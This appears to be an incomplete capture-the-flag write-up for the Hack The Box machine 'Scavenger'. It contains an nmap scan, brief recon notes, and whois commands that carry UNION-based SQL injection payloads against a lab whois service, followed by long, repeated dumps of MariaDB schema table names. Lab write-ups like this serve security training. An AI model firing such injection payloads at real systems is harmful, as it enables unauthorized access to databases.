Scavenger - Writeup

```
root@kali:~/HTB/scavenger# nmap -sV -Pn 10.10.10.155 -p 1-10000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:57 EST
Nmap scan report for 10.10.10.155
Host is up (0.034s latency).
Not shown: 9993 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
22/tcp open   ssh      OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open   smtp     Exim smtpd 4.89
43/tcp open   whois?
53/tcp open   domain   ISC BIND 9.10.3-P4 (Debian Linux)
80/tcp open   http     Apache httpd 2.4.25 ((Debian))
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port43-TCP:V=7.80%I=7%D=2/18%Time=5E4BED89%P=x86_64-pc-linux-gnu%r(Gene
SF:ricLines,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@Maria
SF:DB10\.1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING
SF:,\x20visit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x2
SF:0returned\x200\x20object\r\n")%r(GetRequest,A9,"%\x20SUPERSECHOSTING\x2
SF:0WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x20i
SF:nformation\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersecho
SF:sting\.htb\r\n%\x20This\x20query\x20returned\x200\x20object\r\n")%r(HTT
SF:POptions,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@Maria
SF:DB10\.1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING
SF:,\x20visit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x2
SF:0returned\x200\x20object\r\n")%r(RTSPRequest,A9,"%\x20SUPERSECHOSTING\x
SF:20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x20
SF:information\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersech
SF:osting\.htb\r\n%\x20This\x20query\x20returned\x200\x20object\r\n")%r(He
SF:lp,A9,"%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.
SF:1\.37\r\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20v
SF:isit\x20http://www\.supersechosting\.htb\r\n%\x20This\x20query\x20retur
SF:ned\x200\x20object\r\n")%r(SSLSessionReq,103,"%\x20SUPERSECHOSTING\x20W
SF:HOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20for\x20more\x20inf
SF:ormation\x20on\x20SUPERSECHOSTING,\x20visit\x20http://www\.supersechost
SF:ing\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20mix\x20of\x20collations\x2
SF:0\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(utf8_general_ci,COERCIBLE\
SF:)\x20for\x20operation\x20'like'")%r(TerminalServerCookie,103,"%\x20SUPE
```

```
SF:RSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r\n%\x20fo
SF:r\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20visit\x20http://w
SF:ww\.supersechosting\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20mix\x20of\
SF:x20collations\x20\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(utf8_gener
SF:al_ci,COERCIBLE\)\x20for\x20operation\x20'like'")%r(TLSSessionReq,103,"
SF:%\x20SUPERSECHOSTING\x20WHOIS\x20server\x20v0\.6beta@MariaDB10\.1\.37\r
SF:\n%\x20for\x20more\x20information\x20on\x20SUPERSECHOSTING,\x20visit\x2
SF:0http://www\.supersechosting\.htb\r\n1267\x20\(HY000\):\x20Illegal\x20m
SF:ix\x20of\x20collations\x20\(utf8mb4_general_ci,IMPLICIT\)\x20and\x20\(u
SF:tf8_general_ci,COERCIBLE\)\x20for\x20operation\x20'like'");
Service Info: Host: ib01.supersechosting.htb; OSs: Unix, Linux; CPE:
cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.70 seconds
root@kali:~/HTB/scavenger#
```

- nc to whois
- get domain http://www.supersechosting.htb
- add domain to hosts
- visit
- find dns and whois domains, add them
- Also see that mariadb is used.
- Site says php7 and mariadb

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT  1,1 -- -"
returns 1
```

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT ic.Table_Name,1 from
INFORMATION_SCHEMA.COLUMNS ic -- -"
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
% This query returned 784 object
ALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUG
INSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSAPPLI
CABLE_ROLESAPPLICABLE_ROLESAPPLICABLE_ROLESAPPLICABLE_ROLESCHARACTER_SETSC
HARACTER_SETSCHARACTER_SETSCHARACTER_SETSCOLLATIONSCOLLATIONSCOLLATIONSCOL
```

LATIONSCOLLATIONSCOLLATIONSCOLLATION_CHARACTER_SET_APPLICABILITYCOLLATION_
CHARACTER_SET_APPLICABILITYCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUM
NSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCO
LUMNSCOLUMNSCOLUMNSCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLU
MN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESENABLED_RO
LESENGINESENGINESENGINESENGINESENGINESENGINESEVENTSEVENTSEVENTSEVENTSEVENT
SEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSE
VENTSEVENTSEVENTSEVENTSEVENTSEVENTSFILESFILESFILESFILESFILESFILESFIL
ESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFI
LESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESF
ILESFILESGLOBAL_STATUSGLOBAL_STATUSGLOBAL_VARIABLESGLOBAL_VARIABLESKEY_CAC
HESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESK
EY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY
_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_US
AGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COL
UMN_USAGEPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAM
ETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETER
SPARAMETERSPARAMETERSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPAR
TITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITI
ONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSP
ARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPLUGINSPLUGINSPLUGINSPLUG
INSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPROCESSL
ISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCE
S
SLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPRO
CESSLISTPROCESSLISTPROCESSLISTPROFILINGPROFILINGPROFILINGPROFILINGPROFILIN
GPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGP
ROFILINGPROFILINGPROFILINGPROFILINGREFERENTIAL_CONSTRAINTSREFEREN
TIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_
CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONST
RAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINT
SROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESR
OUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROU
TINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTI
NESROUTINESROUTINESROUTINESSCHEMATASCHEMATASCHEMATASCHEMATASCHEMATASCHEMA_
PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVIL
EGESSESSION_STATUSSESSION_STATUSSESSION_VARIABLESSESSION_VARIABLESSTATISTI
CSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSST
ATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATIS
TICSSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM
_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLES
SYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VAR
IABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTA

BLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESPACESTABLE
SPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTA
BLESPACESTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_CONSTRAI
NTSTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_PRIVILEGESTABLE_PRIVILEGESTABLE
_PRIVILEGESTABLE_PRIVILEGESTABLE_PRIVILEGESTABLE_PRIVILEGESTRIGGERSTRIGGER
STRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERST
RIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRI
GGERSTRIGGERSUSER_PRIVILEGESUSER_PRIVILEGESUSER_PRIVILEGESUSER_PRIVILEGESV
I
EWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSGEOMETRY_COLUMNSGEOME
TRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMN
SGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_
COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSSPATIAL_REF_SYSSPATIAL_REF_SYSSPATI
AL_REF_SYSSPATIAL_REF_SYSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTI
CSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIE
NT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STA
TISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTIC
SCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIEN
T_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STAT
ISTICSINDEX_STATISTICSINDEX_STATISTICSINDEX_STATISTICSINDEX_STATISTICSINNO
DB_SYS_DATAFILESINNODB_SYS_DATAFILESTABLE_STATISTICSTABLE_STATISTICSTABLE_
STATISTICSTABLE_STATISTICSTABLE_STATISTICSINNODB_SYS_TABLESTATSINNODB_SYS_
TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSI
NNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_T
ABLESTATSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_
STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER
_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSE
R_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUS
ER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSU
SER_STATISTICSINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB
_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESXTRADB_R
SEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGINNODB_CMP_PER_I
NDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP
_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNO
DB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_T
RXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXIN
N
ODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_
TRXINNODB_TRXCHANGED_PAGE_BITMAPSINNODB_FT_BEING_DELETEDINNODB_LOCK_WAITSI
NNODB_LOCK_WAITSINNODB_LOCK_WAITSINNODB_LOCK_WAITSINNODB_LOCKSINNODB_LOCKS
INNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSIN
NODB_LOCKSINNODB_LOCKSINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCR
YPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TAB

LESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPT
IONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLES
PACES_ENCRYPTIONXTRADB_INTERNAL_HASH_TABLESXTRADB_INTERNAL_HASH_TABLESXTRA
DB_INTERNAL_HASH_TABLESXTRADB_INTERNAL_HASH_TABLESINNODB_SYS_FIELDSINNODB_
SYS_FIELDSINNODB_SYS_FIELDSINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_CM
PMEM_RESETINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_
CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_FT_I
NDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACE
SINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_
SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_MUTEXESINNODB_MUTEXESINNODB_MU
TEXESINNODB_MUTEXESINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFF
ER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_
LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNOD
B_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER
_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LR
UINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_
BUFFER_PAGE_LRUINNODB_SYS_FOREIGN_COLSINNODB_SYS_FOREIGN_COLSINNODB_SYS_FO
REIGN_COLSINNODB_SYS_FOREIGN_COLSINNODB_CMP_RESETINNODB_CMP_RESETINNODB_CM
P_RESETINNODB_CMP_RESETINNODB_CMP_RESETINNODB_CMP_RESETINNODB_BUFFER_POOL_
STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_ST
A
TSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATS
INNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSIN
NODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNO
DB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB
_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_B
UFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUF
FER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFE
R_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_
POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_PO
OL_STATSINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINN
ODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_SYS_FOR
EIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREI
GNINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSIN
NODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB
_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_MET
RICSINNODB_METRICSINNODB_FT_DEFAULT_STOPWORDINNODB_CMPMEMINNODB_CMPMEMINNO
DB_CMPMEMINNODB_CMPMEMINNODB_CMPMEMINNODB_CMPMEMINNODB_SYS_TABLESINNODB_SY
S_TABLESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_TABL
ESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSIN
NODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNO
DB_FT_CONFIGINNODB_FT_CONFIGINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUF

```
FER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFE
R_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_
PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PA
GEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGE
INNODB_BUFFER_PAGEINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNO
DB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESET
I
NNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RE
SETXTRADB_READ_VIEWXTRADB_READ_VIEWXTRADB_READ_VIEWXTRADB_READ_VIEWINNODB_
SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINN
ODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAIT
SINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_
WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPH
ORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SE
MAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SY
S_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNOD
B_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_CHANGED_PAGESINNODB_
CHANGED_PAGESINNODB_CHANGED_PAGESINNODB_CHANGED_PAGESINNODB_FT_DELETEDINNO
DB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCR
UBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLE
SPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGcu
stomerscustomerscustomers
```

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT ic.Table_Name from
INFORMATION_SCHEMA.COLUMNS ic -- -"
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
1222 (21000): The used SELECT statements have a different number of
columns
```

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT ic.Table_Name,1 from
INFORMATION_SCHEMA.COLUMNS ic -- -"
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
% This query returned 784 object
ALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUG
INSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSALL_PLUGINSAPPLI
CABLE_ROLESAPPLICABLE_ROLESAPPLICABLE_ROLESAPPLICABLE_ROLESCHARACTER_SETSC
HARACTER_SETSCHARACTER_SETSCHARACTER_SETSCOLLATIONSCOLLATIONSCOLLATIONSCOL
```

LATIONSCOLLATIONSCOLLATIONSCOLLATION_CHARACTER_SET_APPLICABILITYCOLLATION_
CHARACTER_SET_APPLICABILITYCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUM
NSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCOLUMNSCO
LUMNSCOLUMNSCOLUMNSCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLU
MN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESCOLUMN_PRIVILEGESENABLED_RO
LESENGINESENGINESENGINESENGINESENGINESENGINESEVENTSEVENTSEVENTSEVENTSEVENT
SEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSEVENTSE
VENTSEVENTSEVENTSEVENTSEVENTSEVENTSFILESFILESFILESFILESFILESFILESFIL
ESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFI
LESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESFILESF
ILESFILESGLOBAL_STATUSGLOBAL_STATUSGLOBAL_VARIABLESGLOBAL_VARIABLESKEY_CAC
HESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESK
EY_CACHESKEY_CACHESKEY_CACHESKEY_CACHESKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY
_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_US
AGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COLUMN_USAGEKEY_COL
UMN_USAGEPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAM
ETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETERSPARAMETER
SPARAMETERSPARAMETERSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPAR
TITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITI
ONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSP
ARTITIONSPARTITIONSPARTITIONSPARTITIONSPARTITIONSPLUGINSPLUGINSPLUGINSPLUG
INSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPLUGINSPROCESSL
ISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCE
S
SLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPROCESSLISTPRO
CESSLISTPROCESSLISTPROCESSLISTPROFILINGPROFILINGPROFILINGPROFILINGPROFILIN
GPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGPROFILINGP
ROFILINGPROFILINGPROFILINGPROFILINGPROFILINGREFERENTIAL_CONSTRAINTSREFEREN
TIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_
CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONST
RAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINTSREFERENTIAL_CONSTRAINT
SROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESR
OUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROU
TINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTINESROUTI
NESROUTINESROUTINESROUTINESSCHEMATASCHEMATASCHEMATASCHEMATASCHEMATASCHEMA_
PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVILEGESSCHEMA_PRIVIL
EGESSESSION_STATUSSESSION_STATUSSESSION_VARIABLESSESSION_VARIABLESSTATISTI
CSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSST
ATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATISTICSSTATIS
TICSSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM
_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLES
SYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VARIABLESSYSTEM_VAR
IABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTA

BLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESTABLESPACESTABLE
SPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTABLESPACESTA
BLESPACESTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_CONSTRAI
NTSTABLE_CONSTRAINTSTABLE_CONSTRAINTSTABLE_PRIVILEGESTABLE_PRIVILEGESTABLE
_PRIVILEGESTABLE_PRIVILEGESTABLE_PRIVILEGESTABLE_PRIVILEGESTRIGGERSTRIGGER
STRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERST
RIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRIGGERSTRI
GGERSTRIGGERSUSER_PRIVILEGESUSER_PRIVILEGESUSER_PRIVILEGESUSER_PRIVILEGESV
I
EWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSVIEWSGEOMETRY_COLUMNSGEOME
TRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMN
SGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSGEOMETRY_
